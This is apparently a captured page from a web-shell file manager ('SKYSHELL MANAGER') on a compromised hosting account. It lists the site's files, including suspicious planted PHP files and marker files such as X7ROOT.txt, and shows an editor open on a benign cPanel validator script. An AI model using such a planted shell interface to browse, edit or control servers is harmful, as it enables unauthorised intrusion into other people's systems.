📁
SKYSHELL MANAGER
PHP v8.2.30
Create
Create
Path:
root
/
home
/
qooetu
/
costes.qooetu.com
/
Name
Size
Perm
Actions
📁
.well-known
-
0755
🗑️
🏷️
🔒
📁
2e19d9
-
0755
🗑️
🏷️
🔒
📁
6b114
-
0755
🗑️
🏷️
🔒
📁
Modules
-
0755
🗑️
🏷️
🔒
📁
app
-
0755
🗑️
🏷️
🔒
📁
assets
-
0755
🗑️
🏷️
🔒
📁
bootstrap
-
0755
🗑️
🏷️
🔒
📁
cgi-bin
-
0755
🗑️
🏷️
🔒
📁
config
-
0755
🗑️
🏷️
🔒
📁
css
-
0755
🗑️
🏷️
🔒
📁
database
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
nbproject
-
0755
🗑️
🏷️
🔒
📁
public
-
0755
🗑️
🏷️
🔒
📁
resources
-
0755
🗑️
🏷️
🔒
📁
routes
-
0755
🗑️
🏷️
🔒
📁
storage
-
0755
🗑️
🏷️
🔒
📁
tests
-
0755
🗑️
🏷️
🔒
📁
uploads
-
0755
🗑️
🏷️
🔒
📁
vendor
-
0755
🗑️
🏷️
🔒
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0755
🗑️
🏷️
🔒
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📄
.htaccess
0.23 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
COOKIE.txt
0.2 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
X7ROOT.txt
0.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
defaults.php
1.29 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
engine.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
error_log
813.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
features.php
11.28 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
googlecfb82e09419fc0f6.html
0.05 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php0
1.56 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
inputs.php
0.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
kurd.html
1.07 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
library.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
min.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
p.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
php.ini
0.04 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
product.php
1.78 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
qpmwztts.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt
0.32 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
tovmbkwh.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
tyyffovi.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
veoxv.html
1.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
Edit: datatype-validators.js
/* # datatype-validators.js Copyright(c) 2020 cPanel, L.L.C. # All rights reserved. # copyright@cpanel.net http://cpanel.net # This code is subject to the cPanel license. Unauthorized copying is prohibited */ /* --------------------------*/ /* DEFINE GLOBALS FOR LINT /*--------------------------*/ /* global define: false */ /* --------------------------*/ /** * This module is a collection of data-type validators * * @module datatype-validators * @requires angular, validator-utils, validate, locale */ define([ "angular", "lodash", "cjt/validator/validator-utils", "cjt/util/locale", "cjt/validator/validateDirectiveFactory" ], function(angular, _, UTILS, LOCALE) { "use strict"; var DOLLAR_AMOUNT_REGEXP = /^[0-9]+(?:\.[0-9]{1,2})?$/; /** * Validates the given value to see if it is a float number with the given * precision value. * * @param {String} numberToValidate The value to be validated. * @param {String} decimalPrecision The precision up to which the decimal places need to be validated. * @param {Boolean} allowNegativeValues Whether it should validate negative numbers or not. * @returns {Boolean} Validity of value true or false. */ function validateFloatNumbers(numberToValidate, decimalPrecision, allowNegativeValues) { decimalPrecision = (_.isFinite(parseInt(decimalPrecision))) ? decimalPrecision : ""; var allowNegativeRegex = (allowNegativeValues) ? "-?" : ""; var precisionRegex = "{1," + decimalPrecision + "}"; var regex = new RegExp("^" + allowNegativeRegex + "\\d+(\\.\\d" + precisionRegex + ")?$"); return regex.test(numberToValidate); } var validators = { /** * Validates if the input is a digit * * @method digits * @param {String} val Text to validate * @return {Object} Validation result */ digits: function(val) { var result = UTILS.initializeValidationResult(); var regExp = /^\d+$/; var isValid = val !== "" ? regExp.test(val) : false; if (!isValid) { result.isValid = false; result.add("digits", LOCALE.maketext("The input should only contains numbers.")); return result; } return result; }, /** * Validates if the input is a dollar amount. * Currently this does NOT accept either localized * numbers (e.g., '12,45' in German) or thousands separators * (e.g., '1,200' in English). * * @method digits * @param {String} val Text to validate * @return {Object} Validation result */ isDollarAmount: function(val) { var result = UTILS.initializeValidationResult(); var isValid = (val !== "") && DOLLAR_AMOUNT_REGEXP.test(val); if (!isValid) { result.isValid = false; result.add("isDollarAmount", LOCALE.maketext("The input should contain a dollar (USD) amount.")); return result; } return result; }, /** * Validates if the input is an integer * * @method integer * @param {String} val Text to validate * @return {Object} Validation result */ integer: function(val) { var result = UTILS.initializeValidationResult(); var regExp = /^-?\d+$/; var isValid = val !== "" ? regExp.test(val) : false; if (!isValid) { result.isValid = false; result.add("integer", LOCALE.maketext("The input should be a whole number.")); return result; } return result; }, /** * Validates if the input is a positive integer * * Validates that the input is a NONNEGATIVE integer. Note that this validator is, * for historical reasons, misnamed; a “positive integer” validator should actually reject 0. * Consider using `positiveOrZeroInteger` in all new code. * * @method positiveInteger * @param {String} val Text to validate * @param {String} message optional error message to report * @return {Object} Validation result */ positiveInteger: function(val, message) { var result = UTILS.initializeValidationResult(); var msg; if (message) { msg = message; } else { msg = LOCALE.maketext("The input should be a positive whole number."); } var regExp = /^\d+$/; var isValid = val !== "" ? regExp.test(val) : false; if (!isValid) { result.isValid = false; result.add("positiveInteger", msg); return result; } return result; }, /** * Validates if the input is a positive integer or 0 * * @method positiveOrZeroInteger * @param {String} val Text to validate * @return {Object} Validation result */ positiveOrZeroInteger: function(val) { var msg = LOCALE.maketext("The input should be zero or a positive whole number."); return validators.positiveInteger(val, msg); }, /** * Validates if the input is a negative integer * * @method negativeInt * @param {String} val Text to validate * @return {Object} Validation result */ negativeInteger: function(val) { var result = UTILS.initializeValidationResult(); var regExp = /^-\d+$/; var isValid = val !== "" ? regExp.test(val) : false; if (!isValid) { result.isValid = false; result.add("negativeInteger", LOCALE.maketext("The input should be a negative whole number.")); return result; } return result; }, /** * Validates if the input is a float with the given decimal precision. * * @method float * @param {String} val Text to validate * @param {number} decimalPrecision number specifying the precision. * @return {Object} Validation result */ float: function(val, decimalPrecision) { var result = UTILS.initializeValidationResult(); var isValid = validateFloatNumbers(val, decimalPrecision, true); if (!isValid) { result.isValid = false; result.add("float", LOCALE.maketext("The input must be a float number with up to [quant,_1, decimal place, decimal places].", decimalPrecision)); return result; } return result; }, /** * Validates if input is a positive float number with the given decimal precision. * * @method positiveFloat * @param {String} val Text to validate * @param {number} decimalPrecision number specifying the precision. * @return {Object} Validation result */ positiveFloat: function(val, decimalPrecision) { var result = UTILS.initializeValidationResult(); var isValid = validateFloatNumbers(val, decimalPrecision, false); if (!isValid) { result.isValid = false; result.add("positiveFloat", LOCALE.maketext("The input must be a positive float number with up to [quant,_1, decimal place, decimal places].", decimalPrecision)); return result; } return result; }, /** * Validates if the input is a valid hex color * * @method hexColor * @param {String} val Text to validate * @return {Object} Validation result */ hexColor: function(val) { var result = UTILS.initializeValidationResult(); var regExp = /^([0-9a-fA-F]{3}|[0-9a-fA-F]{6})$/; var isValid = val !== "" ? regExp.test(val) : false; if (!isValid) { result.isValid = false; result.add("hexColor", LOCALE.maketext("The input should be a valid hexadecimal color (excluding the pound sign).")); return result; } return result; } }; // Generate a directive for each validation function var validatorModule = angular.module("cjt2.validate"); validatorModule.run(["validatorFactory", function(validatorFactory) { validatorFactory.generate(validators); } ]); return { methods: validators, name: "datatype-validators", description: "Validation library for integer, digit, and similar.", version: 2.0, }; });
Save